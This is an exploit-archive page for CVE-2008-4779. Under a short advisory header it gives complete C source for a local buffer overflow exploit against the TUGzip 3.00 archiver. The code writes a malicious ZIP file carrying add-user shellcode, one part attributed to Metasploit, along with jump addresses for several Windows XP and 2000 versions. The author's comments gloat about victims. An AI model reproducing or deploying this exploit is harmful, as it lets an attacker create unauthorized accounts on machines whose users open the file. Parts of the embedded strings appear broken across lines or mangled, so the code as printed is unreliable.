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Arrow  Topic :

TUGzip 3.00 archiver .ZIP File Local Buffer Overflow Exploit


Arrow  SecurityAlert : 4528
Arrow  CVE : CVE-2008-4779
Arrow  CWE : CWE-119
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote Exploit : Yes
Arrow  Local Exploit : No
Arrow  Victim interaction required : No
Arrow  Exploit Available : Yes
  ExploitAlert :   4985
Arrow  Credit : fl0 fl0w
Arrow  Published : 31.10.2008

Arrow  Affected Software : tguzip:tguzip:3.5.5.0.0



Arrow  Advisory Content :  

/*0day TUGzip 3.00 archiver .ZIP File Local Buffer Overflow
"If you change things ,forever,there's no going back,you see for them
you're just a freak, like me ..Mhaaaahaaaaaaaaaaaaaaaaaaaa"(JK)
Well hello there ,greetz from Romania,here is a exploit for the archiver
TUGzip.
So the payload doesen't always execute,it's just a matter of
patience,from 10
attemps you get success on 2 in the best case.Got 3 more archivers with
stack
overflow and heap overflow,I'm bored... I'm looking for a new
approach,will see
soon what I'm going to bring you.
"Let's put a smile on that face
Mhaaaaaaaaahhaaahaaahhhhhhaaaaaaaaaaaaaaaaaa"
Credits go to Stefan Marin or fl0 fl0w :) .
All the best !

Registers
EAX 00000000
ECX 00000064
EDX 0013F6D0
EBX 0117ABDC
ESP 0013F6D0
EBP 45444342
ESI 0117AF6C
EDI 00D88B1C
EIP 58585858

SEH chain of main thread, item 0
Address=0013F6D0
SE handler=C9C9C9C9

*/
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<windows.h>

#define OFFSET 2504
#define NOP 2515
#define shellcode_offset 2535


char file_1[]=
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char file_2[]=
"\x41\x41\x41\x41\xCC\xCC\xCC\xCC\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
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"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
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"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
"\x32\x32\x32\x32\x2E\x74\x78\x74\x50\x4B\x05\x06\x00\x00\x00\x00"
"\x01\x00\x01\x00\x42\x08\x00\x00\x32\x08\x00\x00";


char shellcode_1[]=
// Skylined's alpha2 unicode decoder
//Un-encoded ADD USER shellcode

"PPYAIAIAIAIAIAIAIAIAIAIAIAIAIAIAjXAQADAZABARALAYAIAQAIAQAIAhAAAZ1AIAIAJ11A
IAIABA"
"BABQI1AIQIAIQI111AIAJQYAZBABABABABkMAGB9u4JB"
// Encoded opcodes

"ylzHOTM0KPkP2kQ5OL2kQlKUt8kQzOtK0On82k1OO0KQ8kpIDKoDTKKQXnnQ7P4Y4lU4upptm7
i1WZLM"

"kQWRJKJTMkpTLdzdt59UdKooktkQzKOv4KlLNkDKooMLyqZKBkMLRkzajKQyQLmTM45sNQUpot
Rkmplp"

"tEupQhlLBkoPlLRkRPKlvMRkoxjhzKKYtKqpFPkPm0KPbkphMlaOlqhvqPPVriJXCS5pCKNpOx
JO8Nk0"

"C0c8eHKNqzznPW9oyW1SBMotnNaUQhaUkpNOpckpRNOuqdmPRUpsqUPrmP%skp%s"

"mPnOQ1OTNdo0mVMVMPpnOurTMP0lBOqS31PlC7prpobU0pkpoQotPmoyPn1YT3ptT2aQPtpo1b
BSkp%s"
"MPNOOQa4oTkPA";
//ADD USER shellcode TNX to metasploit
char shellcode_2[]=

"\x31\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x50"

"\x8a\xfa\x90\x83\xeb\xfc\xe2\xf4\xac\xe0\x11\xdd\xb8\x73\x05\x6f"

"\xaf\xea\x71\xfc\x74\xae\x71\xd5\x6c\x01\x86\x95\x28\x8b\x15\x1b"

"\x1f\x92\x71\xcf\x70\x8b\x11\xd9\xdb\xbe\x71\x91\xbe\xbb\x3a\x09"

"\xfc\x0e\x3a\xe4\x57\x4b\x30\x9d\x51\x48\x11\x64\x6b\xde\xde\xb8"

"\x25\x6f\x71\xcf\x74\x8b\x11\xf6\xdb\x86\xb1\x1b\x0f\x96\xfb\x7b"

"\x53\xa6\x71\x19\x3c\xae\xe6\xf1\x93\xbb\x21\xf4\xdb\xc9\xca\x1b"

"\x10\x86\x71\xe0\x4c\x27\x71\xd0\x58\xd4\x92\x1e\x1e\x84\x16\xc0"

"\xaf\x5c\x9c\xc3\x36\xe2\xc9\xa2\x38\xfd\x89\xa2\x0f\xde\x05\x40"

"\x38\x41\x17\x6c\x6b\xda\x05\x46\x0f\x03\x1f\xf6\xd1\x67\xf2\x92"

"\x05\xe0\xf8\x6f\x80\xe2\x23\x99\xa5\x27\xad\x6f\x86\xd9\xa9\xc3"

"\x03\xd9\xb9\xc3\x13\xd9\x05\x40\x36\xe2\xeb\xcc\x36\xd9\x73\x71"

"\xc5\xe2\x5e\x8a\x20\x4d\xad\x6f\x86\xe0\xea\xc1\x05\x75\x2a\xf8"

"\xf4\x27\xd4\x79\x07\x75\x2c\xc3\x05\x75\x2a\xf8\xb5\xc3\x7c\xd9"

"\x07\x75\x2c\xc0\x04\xde\xaf\x6f\x80\x19\x92\x77\x29\x4c\x83\xc7"

"\xaf\x5c\xaf\x6f\x80\xec\x90\xf4\x36\xe2\x99\xfd\xd9\x6f\x90\xc0"

"\x09\xa3\x36\x19\xb7\xe0\xbe\x19\xb2\xbb\x3a\x63\xfa\x74\xb8\xbd"

"\xae\xc8\xd6\x03\xdd\xf0\xc2\x3b\xfb\x21\x92\xe2\xae\x39\xec\x6f"

"\x25\xce\x05\x46\x0b\xdd\xa8\xc1\x01\xdb\x90\x91\x01\xdb\xaf\xc1"

"\xaf\x5a\x92\x3d\x89\x8f\x34\xc3\xaf\x5c\x90\x6f\xaf\xbd\x05\x40"

"\xdb\xdd\x06\x13\x94\xee\x05\x46\x02\x75\x2a\xf8\x2e\x52\x18\xe3"
"\x03\x75\x2c\x6f\x80\x8a\xfa\x90";

struct addresses
{ char *platform;
unsigned long addr;
}

targets[]=
{


{ "[*]Microsoft Windows
XP 5.1.1.0 SP1 (IA32)English(jmp esp)",0x778eadcf },
{ "[*]Microsoft Windows
Pro sp3 English (call esp)",0x7C8369F0 },
{ "[*]Microsoft Windows
Pro sp3 English (jmp esp)",0x7C86467B },
{ "[*]Windows XP 5.1.2.0
SP2 (IA32) English (jmp esp)",0x7d184de7 },
{ "[*]Windows XP 5.1.2.0
SP2 (IA32) German (jmp esp)",0x77d85197 },
{ "[*]Windows 2000
5.0.1.0 SP1 (IA32) English (jmp esp)",0x69952208 },
{ "[*]Crash the
program",0x58585858
},
{NULL
}
};

int main(int argc,char *argv[])
{ FILE *h;
char *buffer;
buffer=(char *)malloc(sizeof(file_1)+sizeof(file_2));
unsigned int offset=0;
int number;
unsigned int retaddress=targets[atoi(argv[2])].addr;
if(argc<2)
{ printf("# \tChose your Platform #\n");
for(int i=0;targets[i].platform;i++)
printf("%d \t\t %s\n",i,targets[i].platform);
printf("\tUsage is:\n");
printf(argv[0]);
printf(".exe ");
printf("filename.zip ");
printf("platform\n");
printf("\t*****Credits for exploit and finding
the bug go to Stefan Marin******\n");

system("color 02");
Sleep(2000);
return 0;
}

if((h=fopen(argv[1],"wb"))==NULL)
{ printf("error\n");
exit(0);
}

memcpy(buffer,file_1,sizeof(file_1)); offset=sizeof(file_1);
memcpy(buffer+offset-1,file_2,sizeof(file_2)); offset=OFFSET;
memcpy(buffer+offset,&retaddress,4); offset=0; offset=NOP;
memset(buffer+offset,0x90,20);


printf("#__________________________________________________________________
_________#\n");
printf("Now chose your shellcode \n");
printf("Press [1] for Alphanumeric shellcode\n");
printf("Press [2] for NonAphanumeric shellcode\n");

printf("#__________________________________________________________________
_________#\n");

scanf("%d",&number);
switch(number)
{ case 1:
offset=shellcode_offset;

memcpy(buffer+offset,shellcode_1,sizeof(shellcode_1));
case 2:
offset=shellcode_offset;

memcpy(buffer+offset,shellcode_2,sizeof(shellcode_2));
}
fwrite(buffer,1,sizeof(file_1)+sizeof(file_2),h);
printf("Building file ...\n");
printf("Done ! Open with TUGzip and see what happens :) \n");
printf("\t*****Credits for exploit and finding the bug go to Stefan
Marin******\n");
fclose(h);
free(buffer);
return 0;
}



Arrow  References :

http://securityreason.com/expldownload/1/4985/1 (Exploit)
http://xforce.iss.net/xforce/xfdb/46120
http://www.securityfocus.com/bid/31913
http://www.frsirt.com/english/advisories/2008/2918
http://secunia.com/advisories/32411




Arrow  Feedback :

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